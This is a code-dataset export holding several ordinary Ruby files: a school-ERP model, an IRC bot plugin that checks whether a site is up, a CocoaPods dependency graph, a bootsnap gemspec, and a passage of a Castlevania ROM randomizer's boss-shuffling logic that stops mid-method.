hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
f7d771477014f111e19116b939fa19b9b65d6601
787
#Fedena #Copyright 2011 Foradian Technologies Private Limited # #This product includes software developed at #Project Fedena - http://www.projectfedena.org/ # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #Unless required by applicable law or agreed to in writing, software #distributed under the License is distributed on an "AS IS" BASIS, #WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #See the License for the specific language governing permissions and #limitations under the License. class ArchivedEmployeeSalaryStructure < ApplicationRecord has_many :payroll_categories end
35.772727
73
0.794155
7a1ca84100aa2346439afc2e1c1ec32b7ae2f662
1,275
# frozen_string_literal: true # isitup.rb # Author: William Woodruff # ------------------------ # A Cinch plugin that provides IsItUp.org functionality for yossarian-bot. # ------------------------ # This code is licensed by William Woodruff under the MIT License. # http://opensource.org/licenses/MIT require "json" require "open-uri" require_relative "yossarian_plugin" class IsItUp < YossarianPlugin include Cinch::Plugin use_blacklist URL = "https://isitup.org/%{domain}.json" def usage "!isitup <site> - Check whether or not <site> is currently online. Alias: !up." end def match?(cmd) cmd =~ /^(!)?(?:isit)?up$/ end match /(?:isit)?up (.+)/, method: :isitup, strip_colors: true def isitup(m, site) domain = URI.encode(site.gsub(/^http(?:s)?:\/\//, "")) url = URL % { domain: domain } begin hash = JSON.parse(open(url).read) response_code = hash["response_code"] case hash["status_code"] when 1 m.reply "#{domain} is currently online [#{response_code}].", true when 2 m.reply "#{domain} is currently offline.", true when 3 m.reply "#{domain} is not a valid domain.", true end rescue Exception => e m.reply e.to_s, true end end end
23.611111
83
0.607059
3305d681ad92a165230332e1769c21fca85be113
3,058
# Copyright 2019 Grabtaxi Holdings PTE LTE (GRAB), All rights reserved. # Use of this source code is governed by an MIT-style license that can be found in the LICENSE file require "rgl/adjacency" require "rgl/dot" require_relative "graph_visualizer" # Using RGL graph because GraphViz doesn't store adjacent of a node/vertex # but we need to traverse a substree from any node # https://github.com/monora/rgl/blob/master/lib/rgl/adjacency.rb class DependenciesGraph def initialize(options) @lockfile = options[:lockfile] @devpod_only = options[:devpod_only] @max_deps = options[:max_deps].to_i if options[:max_deps] # A normal edge is an edge (one direction) from library A to library B which is a dependency of A. @invert_edge = options[:invert_edge] || false end # Input : a list of library names. # Output: a set of library names which are clients (directly and indirectly) of those input libraries. def get_clients(libnames) result = Set.new libnames.each do |lib| if graph.has_vertex?(lib) result.merge(traverse_sub_tree(graph, lib)) else Pod::UI.puts "Warning: cannot find lib: #{lib}" end end result end def write_graphic_file(options) graph.write_to_graphic_file(options) end private def dependencies @dependencies ||= (@lockfile && @lockfile.to_hash["PODS"]) end def dev_pod_sources @dev_pod_sources ||= @lockfile.to_hash["EXTERNAL SOURCES"].select { |_, attributes| attributes.key?(:path) } || {} end # Convert array of dictionaries -> a dictionary with format {A: [A's dependencies]} def pod_to_dependencies dependencies .map { |d| d.is_a?(Hash) ? d : { d => [] } } .reduce({}) { |combined, individual| combined.merge!(individual) } end def add_vertex(graph, pod) node_name = sanitized_pod_name(pod) return if @devpod_only && dev_pod_sources[node_name].nil? graph.add_vertex(node_name) node_name end def sanitized_pod_name(name) Pod::Dependency.from_string(name).name end def reach_max_deps(deps) return unless @max_deps return deps.count > @max_deps unless @devpod_only deps = deps.reject { |name| dev_pod_sources[name].nil? } deps.count > @max_deps end def graph @graph ||= begin graph = RGL::DirectedAdjacencyGraph.new pod_to_dependencies.each do |pod, dependencies| next if reach_max_deps(dependencies) pod_node = add_vertex(graph, pod) next if pod_node.nil? dependencies.each do |dependency| dep_node = add_vertex(graph, dependency) next if dep_node.nil? if @invert_edge graph.add_edge(dep_node, pod_node) else graph.add_edge(pod_node, dep_node) end end end graph end end def traverse_sub_tree(graph, vertex) visited_nodes = Set.new graph.each_adjacent(vertex) do |v| visited_nodes.add(v) visited_nodes.merge(traverse_sub_tree(graph, v)) end visited_nodes end end
28.055046
118
0.679529
212be09d663d8d8b7453a15c4855bcd5b31f1af3
2,534
# -*- encoding: utf-8 -*- # stub: bootsnap 1.5.1 ruby lib # stub: ext/bootsnap/extconf.rb Gem::Specification.new do |s| s.name = "bootsnap".freeze s.version = "1.5.1" s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version= s.metadata = { "allowed_push_host" => "https://rubygems.org", "bug_tracker_uri" => "https://github.com/Shopify/bootsnap/issues", "changelog_uri" => "https://github.com/Shopify/bootsnap/blob/master/CHANGELOG.md", "source_code_uri" => "https://github.com/Shopify/bootsnap" } if s.respond_to? :metadata= s.require_paths = ["lib".freeze] s.authors = ["Burke Libbey".freeze] s.bindir = "exe".freeze s.date = "2020-11-10" s.description = "Boot large ruby/rails apps faster".freeze s.email = ["[email protected]".freeze] s.executables = ["bootsnap".freeze] s.extensions = ["ext/bootsnap/extconf.rb".freeze] s.files = ["exe/bootsnap".freeze, "ext/bootsnap/extconf.rb".freeze] s.homepage = "https://github.com/Shopify/bootsnap".freeze s.licenses = ["MIT".freeze] s.required_ruby_version = Gem::Requirement.new(">= 2.3.0".freeze) s.rubygems_version = "2.7.6.2".freeze s.summary = "Boot large ruby/rails apps faster".freeze s.installed_by_version = "2.7.6.2" if s.respond_to? :installed_by_version if s.respond_to? :specification_version then s.specification_version = 4 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_development_dependency(%q<bundler>.freeze, [">= 0"]) s.add_development_dependency(%q<rake>.freeze, [">= 0"]) s.add_development_dependency(%q<rake-compiler>.freeze, ["~> 0"]) s.add_development_dependency(%q<minitest>.freeze, ["~> 5.0"]) s.add_development_dependency(%q<mocha>.freeze, ["~> 1.2"]) s.add_runtime_dependency(%q<msgpack>.freeze, ["~> 1.0"]) else s.add_dependency(%q<bundler>.freeze, [">= 0"]) s.add_dependency(%q<rake>.freeze, [">= 0"]) s.add_dependency(%q<rake-compiler>.freeze, ["~> 0"]) s.add_dependency(%q<minitest>.freeze, ["~> 5.0"]) s.add_dependency(%q<mocha>.freeze, ["~> 1.2"]) s.add_dependency(%q<msgpack>.freeze, ["~> 1.0"]) end else s.add_dependency(%q<bundler>.freeze, [">= 0"]) s.add_dependency(%q<rake>.freeze, [">= 0"]) s.add_dependency(%q<rake-compiler>.freeze, ["~> 0"]) s.add_dependency(%q<minitest>.freeze, ["~> 5.0"]) s.add_dependency(%q<mocha>.freeze, ["~> 1.2"]) s.add_dependency(%q<msgpack>.freeze, ["~> 1.0"]) end end
46.072727
302
0.657459
f83e980ad0188573b68f46d5714f369b53182713
37,380
module BossRandomizer def randomize_bosses verbose = false puts "Shuffling bosses:" if verbose dos_randomize_final_boss() boss_entities = [] game.each_room do |room| boss_entities_for_room = room.entities.select do |entity| if !entity.is_boss? next end boss_id = entity.subtype if !RANDOMIZABLE_BOSS_IDS.include?(boss_id) next end boss = game.enemy_dnas[boss_id] if GAME == "por" && boss.name == "Stella" && entity.var_a == 1 # Don't randomize the Stella who initiates the sisters fight (in either Master's Keep or Nest of Evil). next end if GAME == "por" && boss.name == "The Creature" && entity.var_a == 0 # Don't randomize the common enemy version of The Creature. next end true end boss_entities += boss_entities_for_room end remove_boss_cutscenes() if GAME == "dos" # Turn the throne room Dario entity into Aguni so the boss randomizer logic works. throne_room_dario = game.areas[0].sectors[9].rooms[1].entities[6] throne_room_dario.subtype = 0x70 end # Determine unique boss rooms. boss_rooms_for_each_boss = {} boss_entities.each do |boss_entity| boss_rooms_for_each_boss[boss_entity.subtype] ||= [] boss_rooms_for_each_boss[boss_entity.subtype] << boss_entity.room boss_rooms_for_each_boss[boss_entity.subtype].uniq! end # Figure out what bosses can be placed in what rooms. boss_swaps_that_work = {} boss_rooms_for_each_boss.each do |old_boss_id, boss_rooms| old_boss = game.enemy_dnas[old_boss_id] RANDOMIZABLE_BOSS_IDS.each do |new_boss_id| new_boss = game.enemy_dnas[new_boss_id] all_rooms_work = boss_rooms.all? do |boss_room| boss_entity = boss_room.entities.select{|e| e.is_boss? && e.subtype == old_boss_id}.first case GAME when "dos" dos_check_boss_works_in_room(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) when "por" por_check_boss_works_in_room(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) when "ooe" ooe_check_boss_works_in_room(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) end end if all_rooms_work boss_swaps_that_work[old_boss_id] ||= [] boss_swaps_that_work[old_boss_id] << new_boss_id end end end # Limit to swaps that work both ways. boss_swaps_that_work.each do |old_boss_id, new_boss_ids| new_boss_ids.select! do |new_boss_id| next if boss_swaps_that_work[new_boss_id].nil? boss_swaps_that_work[new_boss_id].include?(old_boss_id) end end # Print all swaps that work. #boss_swaps_that_work.each do |old_boss_id, valid_new_boss_ids| # old_boss = game.enemy_dnas[old_boss_id] # puts "Boss %02X (#{old_boss.name}) can be swapped with:" % [old_boss_id] # valid_new_boss_ids.each do |new_boss_id| # new_boss = game.enemy_dnas[new_boss_id] # puts " Boss %02X (#{new_boss.name})" % [new_boss_id] # end #end remaining_boss_ids = RANDOMIZABLE_BOSS_IDS.dup queued_dna_changes = Hash.new{|h, k| h[k] = {}} already_randomized_bosses = {} if GAME == "dos" @original_boss_seals = {} (0..0x11).each do |boss_index| seal_index = game.fs.read(MAGIC_SEAL_FOR_BOSS_LIST_START+boss_index*4, 4).unpack("V").first @original_boss_seals[boss_index] = seal_index end end boss_entities.shuffle(random: rng).each do |boss_entity| old_boss_id = boss_entity.subtype old_boss = game.enemy_dnas[old_boss_id] already_randomized_new_boss_id = already_randomized_bosses[old_boss_id] if already_randomized_new_boss_id new_boss_id = already_randomized_new_boss_id else possible_boss_ids_for_this_boss = boss_swaps_that_work[old_boss_id] & remaining_boss_ids if possible_boss_ids_for_this_boss.empty? # Nothing this could possibly randomize into and work correctly. Skip. #puts "BOSS %02X FAILED!" % old_boss_id next end if possible_boss_ids_for_this_boss.length > 1 # Don't allow the boss to be in its vanilla location unless that's the only valid option left. possible_boss_ids_for_this_boss -= [old_boss_id] end new_boss_id = possible_boss_ids_for_this_boss.sample(random: rng) end new_boss = game.enemy_dnas[new_boss_id] result = case GAME when "dos" dos_adjust_randomized_boss(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) when "por" por_adjust_randomized_boss(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) when "ooe" ooe_adjust_randomized_boss(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) end if result == :skip next end puts " Replacing boss %02X (#{old_boss.name}) with boss %02X (#{new_boss.name})" % [old_boss_id, new_boss_id] if verbose boss_entity.subtype = new_boss_id remaining_boss_ids.delete(new_boss_id) remaining_boss_ids.delete(old_boss_id) boss_entity.write_to_rom() already_randomized_bosses[old_boss_id] = new_boss_id already_randomized_bosses[new_boss_id] = old_boss_id update_boss_doors(old_boss_id, new_boss_id, boss_entity) # Give the new boss the old boss's soul so progression still works. queued_dna_changes[new_boss_id]["Soul"] = old_boss["Soul"] if old_boss["Soul"] == 0xFF # Some bosses such as Flying Armor won't open the boss doors until the player gets their soul drop. # So we have to make sure no bosses have no soul drop (FF). Just give them a non-progress soul so they drop something. non_progression_souls = SKILL_GLOBAL_ID_RANGE.to_a - checker.all_progression_pickups - NONRANDOMIZABLE_PICKUP_GLOBAL_IDS queued_dna_changes[new_boss_id]["Soul"] = non_progression_souls.sample(random: rng) - SKILL_GLOBAL_ID_RANGE.begin end # Make the new boss have the stats of the old boss so it fits in at this point in the game. queued_dna_changes[new_boss_id]["HP"] = old_boss["HP"] queued_dna_changes[new_boss_id]["MP"] = old_boss["MP"] queued_dna_changes[new_boss_id]["SP"] = old_boss["SP"] queued_dna_changes[new_boss_id]["AP"] = old_boss["AP"] queued_dna_changes[new_boss_id]["EXP"] = old_boss["EXP"] queued_dna_changes[new_boss_id]["Attack"] = old_boss["Attack"] queued_dna_changes[new_boss_id]["Defense"] = old_boss["Defense"] queued_dna_changes[new_boss_id]["Physical Defense"] = old_boss["Physical Defense"] queued_dna_changes[new_boss_id]["Magical Defense"] = old_boss["Magical Defense"] end queued_dna_changes.each do |boss_id, changes| boss = game.enemy_dnas[boss_id] changes.each do |attribute_name, new_value| boss[attribute_name] = new_value end boss.write_to_rom() end end def dos_check_boss_works_in_room(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) case new_boss.name when "Balore" coll = get_room_collision(boss_entity.room) (0x40..0xC0).each do |x| # If the floor is 2 tiles high instead of 1, the player won't have room to crouch under Balore' huge laser. if coll[x,0xA0].is_solid? return false end end when "Puppet Master" # If Puppet Master is in a room less than 2 screens wide he can teleport the player out of bounds. if boss_entity.room.width < 2 return false end end if old_boss.name == "Rahab" && ["Malphas", "Dmitrii", "Dario", "Gergoth", "Zephyr", "Paranoia", "Abaddon"].include?(new_boss.name) # These bosses will fall to below the water level in Rahab's room, which is a problem if the player doesn't have Rahab yet. return false end return true end def por_check_boss_works_in_room(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) case new_boss.name when "Legion" if boss_entity.room.width < 2 return false end when "Dagon" if old_boss.name == "Legion" # Legion's strange room won't work with Dagon. return false end when "Werewolf" if old_boss.name == "Brauner" # Brauner's room uses up too many GFX pages because of the portrait to the throne room, so Werewolf can't load in. return false end when "Medusa" if boss_entity.room.width < 2 return false end when "Brauner" if boss_entity.room.width < 2 return false end end return true end def ooe_check_boss_works_in_room(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) case new_boss.name when "Maneater" # Maneater needs a wide room or his boss orb will be stuck inside the wall. if boss_entity.room.width < 2 return false end when "Goliath" # Goliath never attacks the player in a 1x1 room. (Also the intro cutscene can make the player take unavoidable damage.) if boss_entity.room.width < 2 return false end when "Blackmore" # Blackmore needs a wide room. if boss_entity.room.width < 2 return false end end return true end def dos_adjust_randomized_boss(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) new_boss_index = BOSS_ID_TO_BOSS_INDEX[new_boss_id] || 0 case old_boss.name when "Balore" if boss_entity.var_a == 2 # Not actually Balore, this is the wall of ice blocks right before Balore. # We need to get rid of this because having this + a different boss besides Balore in the same room will load two different overlays into the same spot and crash the game. boss_entity.type = 0 boss_entity.write_to_rom() return :skip else # Update the entity hider so the common enemies in the room don't appear until the randomized boss is dead. entity_hider = game.entity_by_str("00-02-06_03") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() end when "Dmitrii" # Update the entity hider so the common enemy in the room doesn't appear until the randomized boss is dead. entity_hider = game.entity_by_str("00-04-10_08") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() when "Gergoth" if GAME == "dos" && boss_entity.room.sector_index == 5 # Condemned Tower. Replace the boss death flag checked by the floors of the tower so they check the new boss instead. game.fs.replace_hardcoded_bit_constant(0x0219EF44, new_boss_index) # Update the entity hider so the common enemies in the room don't appear until the randomized boss is dead. entity_hider = game.entity_by_str("00-05-07_14") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() end when "Paranoia" if boss_entity.var_a == 1 # Mini-Paranoia. Remove him since he doesn't work properly when Paranoia is randomized. boss_entity.type = 0 boss_entity.write_to_rom() # And remove Mini-Paranoia's boss doors. inside_boss_door_right = game.entity_by_str("00-01-20_03") inside_boss_door_right.type = 0 inside_boss_door_right.write_to_rom() outside_boss_door = game.entity_by_str("00-01-22_00") outside_boss_door.type = 0 outside_boss_door.write_to_rom() # And change the boss door connecting Mini-Paranoia's room to Paranoias to not require killing a boss to open. inside_boss_door_left = game.entity_by_str("00-01-20_04") inside_boss_door_left.var_a = 0 inside_boss_door_left.write_to_rom() return :skip end end case new_boss.name when "Flying Armor" boss_entity.var_a = 0 # Boss rush boss_entity.var_b = 0 # Boss rush boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0x50 when "Balore" # Defaults to right-facing Balore. # But Balore's code has been modified so that he will face left and reposition himself if the player comes from the left. boss_entity.var_a = 1 boss_entity.var_b = 0 boss_entity.x_pos = 0x10 boss_entity.y_pos = 0xB0 if old_boss.name == "Puppet Master" # Puppet Master's room's left wall is farther to the right than most. boss_entity.x_pos += 0x90 end when "Malphas" boss_entity.var_a = 0 boss_entity.var_b = 0 # Normal boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 when "Dmitrii" boss_entity.var_a = 0 # Boss rush Dmitrii, doesn't crash when there are no events. boss_entity.var_b = 0 when "Dario" boss_entity.var_a = 0 boss_entity.var_b = 0 # Normal (not with Aguni) when "Puppet Master" boss_entity.var_a = 1 # Normal boss_entity.var_b = 0 if old_boss.name == "Puppet Master" # Puppet Master's in his original room. boss_entity.x_pos = 0x148 boss_entity.y_pos = 0x60 else # Not in his original room, so the left edge isn't missing. # First center him in the room. boss_entity.x_pos = 0x100 boss_entity.y_pos = 0x60 if old_boss.name == "Rahab" # Move Puppet Master down a bit so the player can reach him and his iron maidens easier from the water. boss_entity.y_pos = 0x70 end # Also update a hardcoded position for his limbs to appear at. game.fs.load_overlay(25) game.fs.write(0x023052B0, [boss_entity.x_pos, boss_entity.y_pos].pack("vv")) # And the hardcoded position for his iron maidens to appear at. game.fs.write(0x02305350, [boss_entity.x_pos+0x68, boss_entity.y_pos-0x38].pack("vv")) game.fs.write(0x02305354, [boss_entity.x_pos+0x68, boss_entity.y_pos+0x38].pack("vv")) game.fs.write(0x02305358, [boss_entity.x_pos-0x68, boss_entity.y_pos-0x38].pack("vv")) game.fs.write(0x0230535C, [boss_entity.x_pos-0x68, boss_entity.y_pos+0x38].pack("vv")) # And the platforms under the upper iron maidens. game.fs.write(0x023052E4, [boss_entity.x_pos+0x68, boss_entity.y_pos-0x18].pack("vv")) game.fs.write(0x023052E8, [boss_entity.x_pos-0x68, boss_entity.y_pos-0x18].pack("vv")) # And the positions Soma is teleported to. game.fs.write(0x02305370, [boss_entity.x_pos+0x68, boss_entity.y_pos-0x38+0x17].pack("vv")) game.fs.write(0x02305374, [boss_entity.x_pos+0x68, boss_entity.y_pos+0x38+0x17].pack("vv")) game.fs.write(0x02305378, [boss_entity.x_pos-0x68, boss_entity.y_pos-0x38+0x17].pack("vv")) game.fs.write(0x0230537C, [boss_entity.x_pos-0x68, boss_entity.y_pos+0x38+0x17].pack("vv")) # And the positions of the blood created when Soma is damaged by the iron maidens. game.fs.write(0x02305390, [boss_entity.x_pos+0x68, boss_entity.y_pos-0x38+0x14].pack("vv")) game.fs.write(0x02305394, [boss_entity.x_pos+0x68, boss_entity.y_pos+0x38+0x14].pack("vv")) game.fs.write(0x02305398, [boss_entity.x_pos-0x68, boss_entity.y_pos-0x38+0x14].pack("vv")) game.fs.write(0x0230539C, [boss_entity.x_pos-0x68, boss_entity.y_pos+0x38+0x14].pack("vv")) # And remove the code that usually sets the minimum screen scrolling position to hide the missing left side of the screen. game.fs.write(0x022FFC1C, [0xE1A00000].pack("V")) # nop (for when he's alive) game.fs.write(0x022FFA40, [0xE1A00000].pack("V")) # nop (for after he's dead) end when "Gergoth" if old_boss_id == new_boss_id && GAME == "dos" # Normal Gergoth since he's in his tower. boss_entity.var_a = 1 else # Set Gergoth to boss rush mode. boss_entity.var_a = 0 end boss_entity.var_b = 0 when "Zephyr" # Center him in the room. boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 if boss_entity.room.width < 2 # Small room, so we need boss rush Zephyr. Normal Zephyr's intro cutscene doesn't work unless the room is 2 screens tall or more. boss_entity.var_a = 0 else # Normal Zephyr, with the cutscene. boss_entity.var_a = 1 end boss_entity.var_b = 0 when "Bat Company" boss_entity.var_a = 1 # Normal boss_entity.var_b = 0 when "Paranoia" boss_entity.var_a = 2 # Normal boss_entity.var_b = 0 # If Paranoia spawns in Gergoth's tall tower, his position and the position of his mirrors can become disjointed. # This combination of x and y seems to be one of the least buggy. boss_entity.x_pos = 0x1F boss_entity.y_pos = 0x80 when "Aguni" boss_entity.var_a = 0 boss_entity.var_b = 0 when "Death" boss_entity.var_a = 1 # Normal boss_entity.var_b = 1 # Normal boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0x50 # If there are any extra objects in Death's room, he will softlock the game when you kill him. # That's because Death's GFX takes up so much space that there's barely any room for his magic seal's GFX to be loaded. # So remove any candles in the room, since they're not necessary. boss_entity.room.entities.each do |entity| if entity.is_special_object? && entity.subtype == 1 && entity.var_a != 0 entity.type = 0 entity.write_to_rom() end end when "Abaddon" boss_entity.var_a = 1 # Normal boss_entity.var_b = 0 # Abaddon's locusts always appear on the top left screen, so make sure he's there as well. boss_entity.x_pos = 0x80 boss_entity.y_pos = 0xB0 end end def por_adjust_randomized_boss(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) new_boss_index = BOSS_ID_TO_BOSS_INDEX[new_boss_id] || 0 case old_boss.name when "Dullahan" @boss_id_for_each_portrait[:portrait_city_of_haze] = new_boss_id when "Behemoth" if boss_entity.var_b == 2 # Scripted Behemoth that chases you down the hallway. return :skip end when "Astarte" @boss_id_for_each_portrait[:portrait_sandy_grave] = new_boss_id when "Legion" @boss_id_for_each_portrait[:portrait_nation_of_fools] = new_boss_id # Legion's horizontal boss door is hardcoded to check Legion's boss death flag. # Update these checks to check the updated boss death flag. game.fs.load_overlay(98) game.fs.replace_hardcoded_bit_constant(0x022E8B94, new_boss_index) game.fs.replace_hardcoded_bit_constant(0x022E888C, new_boss_index) if new_boss.name != "Legion" && boss_entity.room.room_str == "05-02-0C" # The big Nation of Fools boss room for Legion can be entered from multiple angles, but the boss should only activate when entered from the top. # In vanilla Legion is coded to not appear until you get the item in the center, but other bosses are not coded to do that. # So instead we need to use an entity hider to hide the boss entity under normal circumstances. # We modify the horizontal boss door's create code to set a flag that tells that entity hider to stop hiding the entity when the player enters from the top. # The reason this works is because the game engine calls the create code for an entity while it's still in the middle of reading the entity list. So we have a chance to set the flag before the engine gets to the entity hider and checks that condition. # Add an entity hider that hides the boss when the flag for being in a boss fight is NOT set. entity_hider = boss_entity.room.add_new_entity() entity_hider.type = 8 # Entity hider entity_hider.var_a = 3 # Check if the flag for being in a boss fight is set. entity_hider.byte_8 = 1 # Hide 1 entity # Reorder it so the entity hider comes before the boss (entity index 2). boss_entity.room.entities.delete(entity_hider) boss_entity.room.entities.insert(2, entity_hider) boss_entity.room.write_entities_to_rom() # Originally this line set global game flag 01. Change it to set both 01 and 02, since 02 is the flag for being in a boss fight. game.fs.load_overlay(98) game.fs.replace_arm_shifted_immediate_integer(0x022E88E4, 0x03) end when "Dagon" @boss_id_for_each_portrait[:portrait_forest_of_doom] = new_boss_id if new_boss.name != "Dagon" # If Dagon's not in his own room, there won't be any water there, so you can't get out of the room without griffon wing/owl morph. # So add a platform to Dagon's room that moves up and down to prevent this. platform = boss_entity.room.add_new_entity() platform.type = SPECIAL_OBJECT_ENTITY_TYPE platform.subtype = 0x3F platform.x_pos = 0x80 platform.y_pos = 0x80 platform.write_to_rom() end when "The Creature" @boss_id_for_each_portrait[:portrait_dark_academy] = new_boss_id when "Werewolf" @boss_id_for_each_portrait[:portrait_13th_street] = new_boss_id when "Medusa" @boss_id_for_each_portrait[:portrait_burnt_paradise] = new_boss_id when "Mummy Man" @boss_id_for_each_portrait[:portrait_forgotten_city] = new_boss_id when "Brauner" @boss_id_inside_studio_portrait = new_boss_id # Modify the entity hiders in Brauner's room that make the post-Brauner cutscene appear to check the new boss. entity_hider = game.entity_by_str("0B-00-00_04") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() entity_hider = game.entity_by_str("0B-00-00_08") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() # Modify the entity hiders that swap the studio portrait object after Brauner is dead to instead check the new boss. entity_hider = game.entity_by_str("00-0B-00_05") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() entity_hider = game.entity_by_str("00-0B-00_07") entity_hider.subtype = new_boss_index entity_hider.write_to_rom() end case new_boss.name when "Dullahan" boss_entity.var_a = 1 # Normal with intro, not boss rush boss_entity.var_b = 0 when "Behemoth" boss_entity.var_a = 0 boss_entity.var_b = 0 # Normal boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 # TODO: Behemoth can be undodgeable without those jumpthrough platforms in the room, so add those when "Keremet" boss_entity.var_a = 1 # Normal boss_entity.var_b = 0 boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0xB0 when "Astarte" boss_entity.var_a = 0 boss_entity.var_b = 0 boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0xB0 when "Legion" if old_boss.name == "Legion" boss_entity.var_a = 1 # Normal boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0x150 else boss_entity.var_a = 0 # Boss rush boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0xB0 # TODO: doesn't play boss music end boss_entity.var_b = 0 when "Dagon" boss_entity.var_a = 1 # Normal, with intro boss_entity.var_b = 0 if boss_entity.room.height == 1 # Dagon's water level maximum would normally be at the Y pos (0x48*room_height). # But for rooms that are only 1 screen tall, that would make the water fill up too slowly to dodge Dagon's water spitting attack. # So in this case change the maximum water level Y position to -0x30, which puts it at the some position relative to Dagon as it would be in vanilla. game.fs.load_overlay(59) game.fs.write(0x022DB854, [0xE3E0202F].pack("V")) # mov r2, -30h end when "Death" boss_entity.var_a = 0 # Solo Death (not with Dracula) boss_entity.var_b = 0 # Starts fighting immediately, not waiting for cutscene to finish # TODO: doesn't play boss music when "Stella" boss_entity.var_a = 0 # Just Stella, we don't want Stella&Loretta. boss_entity.var_b = 0 # Boss rush. # TODO: doesn't play boss music when "The Creature" boss_entity.var_a = 1 # Boss version, not the common enemy version boss_entity.var_b = 0 when "Werewolf" boss_entity.var_a = 1 # Normal version with intro, not boss rush. Stays dead when boss death flag is set. boss_entity.var_b = 0 boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 when "Mummy Man" boss_entity.var_a = 1 # Normal version with intro. boss_entity.var_b = 0 boss_entity.y_pos = boss_entity.room.height * SCREEN_HEIGHT_IN_PIXELS - 0x2C when "Brauner" boss_entity.var_a = 0 # Boss rush Brauner, doesn't try to reload the room when he dies. boss_entity.var_b = 0 # Don't flash the screen white boss_entity.x_pos = boss_entity.room.width * SCREEN_WIDTH_IN_PIXELS / 2 boss_entity.y_pos = 0xB0 end end def ooe_adjust_randomized_boss(boss_entity, old_boss_id, new_boss_id, old_boss, new_boss) new_boss_index = BOSS_ID_TO_BOSS_INDEX[new_boss_id] || 0 case old_boss.name when "Giant Skeleton" if boss_entity.var_a == 0 # Non-boss version of the giant skeleton. return :skip elsif new_boss.name != "Giant Skeleton" boss_entity.room.entities.each do |entity| if entity.type == 2 && entity.subtype == 0x3E && entity.var_a == 1 # Searchlights in Giant Skeleton's boss room. These will soft lock the game if Giant Skeleton isn't here, so we need to remove them. entity.type = 0 entity.write_to_rom() end end end when "Albus" # Fix the cutscene before the boss fight leaving the screen faded out to white forever. game.fs.load_overlay(60) game.fs.write(0x022C2494, [0xE3A01010].pack("V")) # mov r1, 10h (Number of frames for the fade in to take) game.fs.write(0x022C2494, [0xE3A02010].pack("V")) # mov r2, 10h (Make the fade in start at white since that's what the fade out left it at) # Change the X pos you get put at by the cutscene right before the boss. # Originally it put you at X pos 0xC0, but that could cause you to immediately take unavoidable damage from big bosses. game.fs.load_overlay(60) game.fs.write(0x022C24E4, [0x80].pack("C")) # Update the boss death flag checked by the entity hider so the cutscene after the boss triggers when the randomized boss is dead, instead of Albus. entity_hider = boss_entity.room.entities[5] entity_hider.subtype = new_boss_index entity_hider.write_to_rom() when "Barlowe" # Barlowe's boss room has Ecclesia doors instead of regular doors. # We want it to have a normal boss door so that it sets the "in a boss fight" flag when you enter the room. # But we only want the normal boss door to appear when the fight is active - not before the story has progressed that far. # So we make use of the boss door in the room that usually only appears in boss rush. # By changing the boss rush entity hider to hide 2 entities instead of 3, it no longer hides the boss door. # But there's an earlier entity hider in the list that still hides it before the story has progressed to the Barlowe fight. boss_rush_entity_hider = boss_entity.room.entities[8] boss_rush_entity_hider.byte_8 = 2 boss_rush_entity_hider.write_to_rom() # Fix the cutscene before the boss fight leaving the screen faded out to white forever. game.fs.load_overlay(42) game.fs.write(0x022C5FDC, [0xE3A01010].pack("V")) # mov r1, 10h (Number of frames for the fade in to take) game.fs.write(0x022C5FEC, [0xE3A02010].pack("V")) # mov r2, 10h (Make the fade in start at white since that's what the fade out left it at) # Change the X pos you get put at by the cutscene right before the boss. # Originally it kept whatever X pos the player was at when the cutscene finished, but depending on what the randomized boss isand when the player skips the cutscene, that could cause you to immediately take unavoidable damage from big bosses. game.fs.load_overlay(42) game.fs.write(0x022C6054, [0xE3A03080].pack("V")) # mov r3, 80h # Fix the cutscene after the boss so that it knows to start when the randomized boss is dead, instead of Barlowe. game.fs.load_overlay(42) game.fs.replace_hardcoded_bit_constant(0x0223784C, new_boss_index) # And make it so the NPC Barlowe no longer spawns after the randomized boss is dead. game.fs.replace_hardcoded_bit_constant(0x0223790C, new_boss_index) end case new_boss.name when "Arthroverta" # Add two magnes points to rooms with Arthroverta in them to help dodging. magnes_point_1 = boss_entity.room.add_new_entity() magnes_point_1.type = SPECIAL_OBJECT_ENTITY_TYPE magnes_point_1.subtype = 1 magnes_point_1.x_pos = 0x40 